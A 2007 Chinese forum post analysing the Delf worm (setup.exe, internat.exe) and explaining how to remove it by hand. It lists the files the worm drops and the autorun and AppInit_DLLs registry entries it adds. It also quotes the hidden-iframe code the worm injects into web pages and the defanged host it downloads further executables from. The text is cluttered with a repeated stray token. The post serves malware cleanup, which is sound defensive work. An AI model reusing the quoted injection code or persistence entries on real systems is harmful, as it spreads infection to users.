|
| [原创]Win32.Delf蠕虫internat.exe 1.exe setup.exe解决方法 |
| 作者 网络vs浪子 查看 2773 发表时间 2007/2/13 21:39 【论坛浏览】 |
|
样本：setup.exe 大小：18432 字节MD5: c773bd861b2c32d88da59cc3f6c4a604crleig 卡巴：Worm.Win32.Delf.bg NOD32:暂时不报crleig 相关文章：蠕虫ati3evx.exe taskmgr.exe pif.exe解决方法crleig crleig crleig 该病毒运行后生成：crleig C:\WINDOWS\system\internat.exe （每隔一段时间收集非系统分区下exe文件写入win.log）crleig 每个盘下生成autorun.inf和setup.execrleig 并感染非系统分区下的EXE文件！（大小：30986字节,此次被感染的文件没有被改变图标，没有生成_desktop.ini文件）crleig 尝试网络：h**p://222.220.16.203/ccc 下载：crleig 1.exe,2.exe,3.exe,4.exe,5.exe,6.exe,7.exe,8.exe,9.exe,10.exe并运行，crleig 生成：crleig C:\WINDOWS\896588M.BMPcrleig C:\WINDOWS\c0nime.execrleig C:\WINDOWS\cmdbcs.execrleig C:\WINDOWS\mppds.execrleig C:\WINDOWS\msccrt.execrleig C:\WINDOWS\wsttrs.execrleig C:\WINDOWS\wsvs.execrleig C:\WINDOWS\system\1.exe （调用arp，命令arp -d）crleig C:\WINDOWS\system\taskmgr.execrleig C:\WINDOWS\system\CMD.DLL （打开的网页加入代码“<iframe src=h**p://a.d3a.us/1/ width=0 height=0 frameborder="0"></iframe>”crleig C:\WINDOWS\system\icedate.datcrleig C:\WINDOWS\system\IceHBO.dll （弹出广告：h**p://www.22595.com/sms.htm）crleig C:\WINDOWS\system\svchost.execrleig C:\WINDOWS\system\WPC..DLLcrleig C:\WINDOWS\system32\cmdbcs.dllcrleig C:\WINDOWS\system32\Gjzos.dllcrleig C:\WINDOWS\system32\mppds.dllcrleig C:\WINDOWS\system32\msccrt.dllcrleig C:\WINDOWS\system32\wsttrs.dllcrleig C:\WINDOWS\system32\wsvs.dllcrleig C:\Documents and Settings\“你的用户名”\Local Settings\Temp\upxdnd.dllcrleig C:\Documents and Settings\“你的用户名”\Local Settings\Temp\upxdnd.execrleig crleig crleig 添加注册表项：crleig HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runcrleig "InternetEx"="C:\windows\system\1.exe"crleig "wsvs"="C:\windows\wsvs.exe"crleig "cmdbcs"="C:\windows\cmdbcs.exe"crleig "mppds"="C:\windows\mppds.exe"crleig "msccrt"="C:\windows\msccrt.exe"crleig "wsttrs"="C:\windows\wsttrs.exe"crleig "upxdnd"="C:\DOCUME~1\“你的用户名”\LOCALS~1\Temp\upxdnd.exe"crleig "Internet"="C:\windows\system\svchost.exe"crleig crleig crleig HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runcrleig "1u0r68vrj"="C:\windows\c0nime.exe"crleig crleig crleig HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Runcrleig "internet"="C:\windows\system\taskmgr.exe /scan"crleig crleig crleig HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windowscrleig "AppInit_DLLs"="896588M.BMP" （原 "AppInit_DLLs"="" ）crleig HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID和HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSIDcrleig 添加 {492B8F66-B8CF-4F7A-B0EE-B7383B92F5BA} 指向 C:\WINDOWS\system\IceHBO.dllcrleig HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{492B8F66-B8CF-4F7A-B0EE-B7383B92F5BA}\crleig @=" "crleig crleig crleig 手工查杀方法：crleig 1.结束进程：crleig C:\WINDOWS\system\1.execrleig C:\WINDOWS\system\svchost.execrleig C:\WINDOWS\system\taskmgr.execrleig C:\WINDOWS\c0nime.execrleig C:\WINDOWS\system32\cmd.exe （setup.exe生成批处理想删除自身却无法删除，就一直循环！靠）crleig 如还有其它相关病毒程序一并结束！taskmgr.exe如无法结束请用冰刃！crleig crleig crleig 2.打开金山反间蝶－文件粉碎器－添加文件，找到以上文件，再点彻底删除OK！crleig crleig KUvVVoKR.rarcrleig crleig  crleigcrleig crleig crleig crleig 3.删除添加修改的注册表项和键值！crleig crleig crleig 4.升级反病毒软件，进行全盘查杀，尝试修复被感染的exe文件 （个人建议用卡巴斯基）crleig crleig crleig 农夫已出专杀crleig 下载：http://bbs.20lz.com/viewthread.php?tid=2246 |
| 序号 | 评论者 | 共有评论 0 【论坛浏览】 【发表评论】 | 评论时间 |
| 当前无任何评论，或评论已被禁止显示 | |||
共有评论数 0 每页显示 10
|
|||
